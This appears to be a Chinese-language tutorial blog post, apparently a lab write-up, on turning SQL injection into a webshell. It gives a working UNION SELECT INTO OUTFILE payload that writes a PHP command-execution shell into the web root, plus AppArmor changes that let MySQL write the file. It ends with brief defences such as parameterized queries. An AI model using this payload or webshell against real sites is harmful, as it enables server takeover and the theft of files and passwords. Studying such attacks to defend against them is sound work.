zoukankan      html  css  js  c++  java
  • web安全:sql 注入

    sql注入获取webshell
    寻找sql注入页面,操作数据库的地方
    向网站写入sql语句
    ' union select 1,2, '<?php system($_GET["cmd"]);?>' into outfile '/var/www/myzoo/cmd.php'

    发现mysql没有写入权限,于是在apparmor中为mysql添加权限
    vi /etc/apparmor.d/usr.sbin.mysqld
    在文件最后添加:/var/www/myzoo/* rw,
    然后重启apache重启apparmor
    重新注入

    *一般来说,嗅探1,2需要采用benchmark函数,根据返回时间来判断数据库表结构
    *本网站是直接暴露数据库表结构的

    于是在网站根目录写入了cmd.php文件
    利用此文件执行我们想要做的事情
    比如:查看服务器所有文件密码或者其他的

    防御sql注入获取webshell:
     
    1.如果在编写SQL语句的时候,用户输入的变量不是直接嵌入到SQL语句。而是通过参数来传递这个变量的话,那么就可以有效的防治SQL注入式攻击。也就是说,用户的输入绝对不能够直接被嵌入到SQL语句中。与此相反,用户的输入的内容必须进行过滤,或者使用参数化的语句来传递用户输入的变量。

    2.普通用户和系统用户权限设置

    3.正则表达式验证用户输入,等等。
     
    hash冲突dos网站攻击下次更新了

    ========================if i have some wrong, please give me a message, thx.========================
  • 相关阅读:
    利用pipe实现进程通信一例
    司机和售票员问题 信号signal注册一例
    HDU 1003
    HDU 1847
    HDU 1846(巴什博弈)
    《断弦》感想
    夺冠概率
    熄灯问题
    HDU 2176(Nim博弈)
    NYOJ 541
  • 原文地址:https://www.cnblogs.com/ailx10/p/5251739.html
Copyright © 2011-2022 走看看